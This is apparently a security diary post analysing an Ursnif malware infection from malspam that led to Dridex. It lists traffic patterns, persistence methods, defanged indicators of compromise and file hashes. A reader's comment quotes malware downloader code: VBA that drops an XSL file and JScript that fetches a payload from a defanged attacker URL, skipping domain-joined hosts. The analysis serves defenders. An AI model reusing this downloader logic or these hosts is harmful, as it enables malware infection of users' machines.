Ursnif infection with Dridex

Published: 2019-12-03
Last Updated: 2019-12-03 01:08:12 UTC
by Brad Duncan (Version: 1)
3 comment(s)


I frequently see indicators of malicious spam (malspam) pushing Ursnif malware.  Specifically, I often find Ursnif pushed by a long-running malspam campaign that uses password-protected zip attachments that contain word documents with macros designed to infected a vulnerable Windows host.  The password has usually been 777 for the zip attachments.  Word documents contained within those zip archives follow a specific naming convention.  For example, a Word document from this campaign on December 2nd would be named info_12_02.doc.

Today's diary reviews an Ursnif infection from this campaign that I generated in my lab environment on Monday, December 2nd.

The malspam and initial infection

Malspam from this campaign is spoofing replies to emails found on infected Windows hosts in the wild.  Since these are possibly real people, I've redacted any sensitive information in the images below.  As I already described, these emails contain password-protected zip archives, and these zip archives contain Word documents with macros to install Ursnif on a vulnerable Windows host.  In this case, enabling macros on the Word document dropped a script file in the C:\Windows\Temp directory, and the script file retrieved the initial Windows executable (EXE) file for Ursnif.

Shown above:  An example of malspam pushing Ursnif malware.

Shown above:  Opening a zip archive from this type of malspam requires a password stated in the email.

Shown above:  Microsoft Word document extracted from the attached zip archive.

Shown above:  Malware note on the infected Windows host after enabling macros.

The infection traffic

Traffic generated by Ursnif infections follows relatively consistent patterns.  During these type of Ursnif infections, we often find follow-up malware retrieved by the Ursnif-infected host.  In this case, it was Dridex.  The image below shows my Ursnif infection traffic filtered in Wireshark, and it highlights the URL that returned the initial Ursnif EXE.

Shown above:  Traffic from an infection filtered in Wireshark, highlighting the URL that returned the initial Ursnif EXE.

Shown above:  Later in the infection traffic, we see indicators of the victim host being infected with Dridex.

Post-infection forensics

Ursnif makes itself persistent through the Windows registry, where it copies itself and deletes the initial Ursnif EXE.  Dridex is made persistent through DLL files that are called by legitimate system files copied to randomly-named directories established during the Dridex infection process.  Dridex is made persistent through the Windows registry, a scheduled task, and a Windows shortcut in the Startup menu.

Shown above:  Ursnif persistent on my infected Windows host.

Shown above:  Dridex persistent as DLL file called by the Windows registry.

Shown above:  Dridex was also persistent through a DLL file called by a scheduled task.

Shown above:  Dridex also persistent as a DLL called by a Windows shortcut in the Startup folder.

Indicators of Compromise (IoCs)

URL that retrieved initial Windows executable file for Ursnif:

  • 188.120.241[.]200 port 80 - ragenommad[.]com - GET /edgron/siloft.php?l=utowen4.cab

URLs generated by initial Windows executable file for Ursnif:

  • 23.202.231[.]167 port 80 - nxbpierrecjf[.]com - GET /images/[long string].avi
  • 23.202.231[.]167 port 80 - spt71igina[.]com - GET /images/[long string].avi
  • 109.196.164[.]8 port 80 - jyomacktom[.]top - GET /images/[long string].avi

Post-infection traffic after Ursnif has established persistence:

  • 194.61.1[.]178 port 443 - m38kxy54t[.]com - HTTPS/SSL/TLS traffic generated by Ursnif

URLs generated by Ursnif-infected host to obtain follow-up malware:

  • 77.93.211[.]211 port 80 - zontcentrum[.]ru - GET /wp-content/uploads/2019/11/2unovarios.rar
  • 77.93.211[.]211 port 80 - zontcentrum[.]ru - GET /wp-content/uploads/2019/11/unovarios.rar

Post-infection traffic caused by Dridex:

  • 5.134.119[.]57 port 443 - HTTPS/SSL/TLS traffic generated by Dridex
  • 89.100.104[.]62 port 3443 - HTTPS/SSL/TLS traffic generated by Dridex

Malware and artifacts

SHA256 hash: ac13e6f727b207384d24ce3ac710f5bfa507ea8f906136b03745a030050905c5

  • File size: 57,450 bytes
  • File name: [name redacted].zip
  • File description: password-protected zip archive from malspam (password: 777)

SHA256 hash: 57d7f95629d7c1e0025043dc05ff1c859bb79a1616a7c4296a6ec23b27ee49cd

  • File size: 63,466 bytes
  • File name: info_12_02.doc
  • File description: Word doc with macro for Ursnif

SHA256 hash: d329921115fa57c30ba54e8b697658839918ac2e915c0274f2dc9028f7b9db88

  • File size: 238,080 bytes
  • File location: hxxp://ragenommad[.]com/edgron/siloft.php?l=utowen4.cab
  • File location: C:\Windows\Temp\ainJ45.exe
  • File description: Initial Ursnif EXE retrieved after enabling Word macro

SHA256 hash: 52acd832d2036fc326743e63b2a50615be9a6e04d0b4f06e0e8d0e681bf78c9f

  • File size: 495,616 bytes
  • File location: C:\Windows\system32\41ftQH\UxTheme.dll
  • File description: Dridex DLL persistent on the infected Windows host (1 of 3)

SHA256 hash: 4dcb69610bd18e00449dccb8a31f13e84fc348a242fe98cd2b4681040453fe72

  • File size: 499,712 bytes
  • File location: C:\Users\[username]\AppData\Roaming\JC85wn\MFPlat.DLL
  • File description: Dridex DLL persistent on the infected Windows host (2 of 3)

SHA256 hash: 896fe4ae5367929ba7a48221f95d52d7795f614958c4cc1c4c7beeca4cc6b92a

  • File size: 491,520 bytes
  • File location: C:\Users\[username]\AppData\Roaming\L3CfQG\VERSION.dll
  • File description: Dridex DLL persistent on the infected Windows host (3 of 3)

Final words

A pcap of the infection traffic and the associate malware can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net

3 comment(s)


Thanks for the awesome writeup. Seems as of now, Windows Defender only recognizes the initial DOC file.
Although I didn't got the poetry, may be because I'm a native german, I had a similar mail in my inbox yesterday. The PW was another, but the mail follows the ursnif style and the interesting thing from my point of view is another fact. I wonder, if it has similar code in your sample.


Public Const alWF6 As String = "c:\\wi"
Public Const aT0Ci As String = "ndows\\t"

Set aL5RCZ = CreateObject("Scripting.FileSystemObject")
Set artWS1 = aL5RCZ.CreateTextFile(alWF6 & aT0Ci & "emp\\" & "\atNyC.xsl", 1)
artWS1.Write aD8rL6

aD8rL6 ist the base64 decoded value of a form variable containing the XLS with embedded JS.

Note: Writing to "c:\windows\temp\atNyC.xsl" would work only with administrative privileges!

In the XSL file code:

var anBUNb = "hxxp[:]//aheakeerep[.]com/edgron/siloft.php?l=gadeal7.cab";
function af9c0()
var shell = new ActiveXObject("WScript.Shell");
var pcname = shell.ExpandEnvironmentStrings("%COMPUTERNAME%");
var domain = shell.ExpandEnvironmentStrings("%USERDOMAIN%");
var corp = (pcname.toUpperCase() != domain.toUpperCase());
if(corp == true){return(1);}
if(corp == false){return(0);}
var a2IDU = "";
if(af9c0()) a2IDU = "z";

var aI8CkO = new ActiveXObject("msxml2.xmlhttp");
aI8CkO.open("GET", anBUNb + a2IDU, 0);

Note: The download URL is made invalid, if the host belongs to a Windows Domain Network

So the targets are just standalone Windows hosts with admin privileges of the executing user? Or did I miss something with this context?

It appears you are correct on both counts - this version of downloader seems to be targeted on non-corporate devices only and would work correctly only if the user has sufficient privileges.

Diary Archives